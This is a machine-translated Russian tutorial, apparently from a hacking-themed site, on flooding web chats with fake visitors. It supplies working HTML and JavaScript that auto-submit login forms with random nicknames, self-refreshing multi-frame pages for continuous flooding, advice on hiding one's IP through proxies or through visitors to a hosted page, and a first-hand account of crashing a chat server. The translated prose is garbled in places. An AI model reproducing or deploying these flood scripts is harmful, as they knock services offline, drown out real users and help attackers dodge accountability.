This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat or nick flooding part 1

Continuation >>>


Continuing the theme of FA, we decided to write another article, which now exactly matches its title. Attention: use this exclusively to deal with "frostbitten" admins who from idleness or in order to show their capabilities are thrown out of the chat for any reason also without it. Do not use this tool in chats in which place you are alienated to communicate normally, because you will not let anyone talk , because an impressive number of different “people” will come into the chat and there will be so many of them that it will become impossible to express in the chat ... In other words, this is “Nick Flooding” or filling the chat with non-existent visitors.

Save the start page to disk.
For implementation, you will need a chat with login without registering, there is also little knowledge of html (at least what it is). Save the chat start page, this is where it says "Enter your nickname"

The code is something like this

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - the way where the data is sent
Enter your nickname: <input type = text name = Nick > - Here the nickname is entered
<INPUT name = color type = hidden value = red> - paint
<INPUT type = submit value = "Get Started !!!" > - button

..................... </html> </body>

And so it looks in the browser: Enter your nickname

If your start page loads in frames, i.e. messages are already visible, below it says "Enter your nickname" (usually the bottom frame) you need to right-click there (below) and also select "View as html" there you will also see that also in the main case, it is possible that the code will become more complicated.

if you know how to work with chat from disk also in this chat is possible, then the code of the lower frame after the first phrase said will have the following:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - the path where the data is sent
<input type = hidden name = Nick value = Your nickname> - nickname (it is not visible in any way)
<INPUT name = color type = hidden value = red> - color
Enter the phrase <INPUT TYPE = TEXT name = say size = "24"> - phrase input field
<INPUT type = submit value = "Say !!!" >

..................... </html> </body>

If this chat is located at http://www.domen.ru, then in the line <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> register this address as well, we get: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> now run this file also go to chat from it, name = " chat_x " may be absent time is allowed to add it yourself. Instead of chat_x.ono, it can also be named for each other. If it turns out to enter the chat from this file, go to the next elements.

First Chip: Generate Chat Visitors

If we use one nickname for our purposes, then it will not stretch more than 2-3 phrases ... will be thrown out. It means that the nickname must always be different in this; the Java script will help us (you don’t need to know it, just fill in your numbers) Math.floor (Math.random () * 100000000)

An example is allowed to see by clicking on the button:


Explanation: The mathematical object Math: Math.random () generates a quantity from 0 up to 1, then this number is rounded up with the help of Math.floor () and so that it needs to be multiplied by 10, for example, a number from 0 up to 9, if you multiply by 100, then up to 99, if you multiply by 1000, then up to 999 also. those. the length of the resulting number is less than or equal to the number of zeros, including by which we multiplied .... damn, I’ve already confused myself Smile happy )) In the example (see below), this amount is 100000000 calling that we get a random number, it will be a nickname ...
In order that this quantity fits into the nickname form, put it in the autoload page, i.e. later, this will turn into the <body> tag: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> pay attention to the form name (see the sample html code above, it is highlighted in yellow) this is necessary so that a random amount fits into the desired shape also in the desired field.

Another feature: We send "visitors" to the chat.

<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</script>

This script kind of “Presses” the “Submit” button and sends data from a form called chat_x, in the chat this button can be called “Enter chat” or “Say”, it works with a delay of 1000 ms, so that you can see first what loaded (later you can put 100), but then the data is automatically sent, but for this you need to register the submit () send function to the autoload of our page i.e. in the <body onload = "tag document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit () "> now a random number is selected when the page loads, then it is written into the chat_x form in nick field. also data from chat_x form are sent to the server, it turns out that people entered the chat with a nickname in the form of several numbers.

Sample html code for an ingenuous chat flood

<HTML><HEAD> <TITLE> Chat Flooder </TITLE>

<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</script>

</HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domain.com/cgi-bin/chat/chat.cgi method = post name = " chat_x ">
<input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<INPUT type = submit value = " Get Started !!! ">
</BODY> </HTML>

The last ... personally flood

To do this, eat three ways.

1.Create a file containing a pair of frames, in one file, which creates a nickname upon loading, it also sends it to the chat, let's call it forma.htm, but in another frame, any other file in my sample is yo.htm. And save it with the name frames.htm The code for this document will become like this:

Contents of frames.htm file

<html><head> <title> Chat Flooder </title> </head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> This page uses frames, but your browser doesn't support them. </p>
</body></noframes> </frameset>

I highlighted the name of the send frame specially. data will be sent to it so that the forma.htm file does not get unloaded after sending it. Next, in the forma.htm code, add the following: to the <FORM action = ..... target = " send "> tag and to the source of the act the line: <meta http-equiv = "Refresh" content = "1"> so that the file itself updated every second, and set Timer = 0. What happened: The file is updated also sends to the visitor’s chat, this can be seen in the frame with the name SEND i.e. instead of the yo.htm file, a chat appears, then forma.htm is updated again, it sends the newly-made brow to the chat, it is also updated again, the newly-made person enters the chat again ... until infinity :) The refresh rate is set based on the connection speed.

Example contents of forma.htm file

<HTML>
<HEAD> <TITLE> Chat Flooder </TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 0 );
}
</script>

</HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domain.com/cgi-bin/chat/chat.cgi method = post name = " chat_x " target = " send ">
<input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<input name = password type = hidden value = "">
<INPUT type = submit value = " Get Started !!! ">
</BODY> </HTML>

2 Way. First, we make 4 files that will differ only in the delay when sending, also one frame file in which there will be for example 16 (!) Frames, in the first four the first file, in it Timer = setTimeout ("(document.chat_x.submit ())", 1000 ); In the other four frames, the second file is loaded in which the delay is 10,000. In the third four, 30,000. Well, but in the fourth four the fourth file is loaded with a delay of 40,000 ie every 10,000ms 4 "people" will enter the chat and everyone is different, though they will be in the form of numbers but this is garbage ... If you used the chat login form, then they will all "go" to the chat, but if the message sending form, then it is allowed to enter a paragraph of the text as a message, while each generated nickname will begin to speak ... Experiment, try other options with frames ...

It remains only to hide your IP, for this it is allowed to use A4Proxy , dial a large list of servers ....

3 Way. if you have a website, you are allowed to place these files on it, for example, in a hidden frame, while IP will also practically always be different ...

Valim chat :)

Chats using the private system are arranged in such a way that they are non-stop “in touch” with the user's computer, i.e. they constantly generate a stream of messages for him, they see in any way whether he has disconnected yet, also if an extremely large amount of traffic is being done, the chat may not be able to withstand "fall". So, this morning we were in a chat that can withstand a maximum of 70 individuals, then it just stops working, even though the start page also loads ... Putting such a chat “manually” was not at all difficult, you just had to make a file which generated nicknames, send them to chat, a minute after starting this file, about 50 more people added to the existing 23rd chat in the chat :) ) also it fell naturally (I used a file from many frames in which there was one also the blah blah file) And it should be noted that we were in the club but there is impressive speed and also powerful computers :) . It may also work out with a modem (such as agreeing with someone to also start right away) or try it yourself first, I don’t know at all ... Don’t forget that administrators can also log in chats and then you may want to see what it was like :) Now access to this chat from the IP address of the Internet club "GeForce" is closed :)

FAQ: If it doesn’t work out

FlooDer : I can't do anything :)
Try first just enter the chat from disk, i.e. from the login form saved on the screw, if everything worked out, then there is an error in the "script-flood" code :) , if it didn’t work out, then read on ...

FlooDer : I went from the disk, now I can’t send data in any way :) what to do?
Check the form name (name = XxXxX)

FlooDer : In the line <FORM action = http: //www.***.ru/chat.cgi method = post> there is no common name = "XxXxX" , what should I do?
Paste yourself: (name = "chat_x" target = "send") target- so that the data is sent to the send frame, it will look like this: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: When you enter the chat you must enter a password, it’s suitable if every nick is not registered in any way, how can I enter it in the code?
In the form for entering the password, you need to add: value = "abrakadabra" then all generated "users" will enter this password

Continuation >>>

It will not be superfluous for your friends to learn this information, share an article with them!

Comments Expand / collapse the comment window expand / collapse

When commenting, remember that the content and tone of your message can hurt the feelings of real people, show respect and tolerance to your interlocutors even if you do not share their opinion, your behavior in the conditions of freedom of expression and anonymity provided by the Internet changes not only virtual, but also the real world. All comments are hidden from the index, spam is controlled.
Liked? Subscribe to RSS news,
to be the first to receive information
about all the important events of the country and the world.
You can also support shram.kiev.ua, click: